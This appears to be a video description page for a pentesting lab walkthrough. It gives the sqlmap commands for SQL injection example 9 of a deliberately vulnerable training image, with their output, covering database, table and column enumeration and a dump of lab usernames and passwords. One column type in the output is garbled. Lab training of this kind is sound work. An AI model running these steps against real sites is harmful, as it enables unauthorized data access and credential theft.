Web For Pentester SQL Injection Example 9 | SQLMAP

Published: 04 September 2018
on channel: Shahzad Haxor
1,025
9

Web For Pentester SQL Injection Example 9 | SQLMAP

SQL Injection is a concern when dynamic SQL is handled incorrectly in a ... how dynamic SQL can be built securely to defend against SQL injection attacks.


Grab Banner Or Batch :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner

Databse :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner --dbs

available databases [2]:
[*] exercises
[*] information_schema


Tables :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises --tables

Database: exercises
[1 table]
+-------+
| users |
+-------+

Columns :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises -T users --columns

[5 columns]
+---------+-----------------+
| Column | Type |
+---------+-----------------+
| age | int*\xff\xfa☺1) |
| groupid | int(11) |
| id | int(11) |
| name | varchar(50) |
| passwd | varchar(50) |
+---------+-----------------+

Dump Data :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises -T users -C age,groupid,id,name,passwd --dump

Dumped Data :
+-----+---------+----+-------+---------+
| age | groupid | id | name | passwd |
+-----+---------+----+-------+---------+
| 10 | 10 | 1 | admin | admin |
| 30 | 0 | 2 | root | admin21 |
| 5 | 2 | 3 | user1 | secret |
| 2 | 5 | 5 | user2 | azerty |
+-----+---------+----+-------+---------+

That's all for this video and i will see you in next video.
till then good bye...

IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.


On this page of the site you can watch the video online Web For Pentester SQL Injection Example 9 | SQLMAP with a duration of hours minute second in good quality, which was uploaded by the user Shahzad Haxor 04 September 2018, share the link with friends and acquaintances, this video has already been watched 1,025 times on youtube and it was liked by 9 viewers. Enjoy your viewing!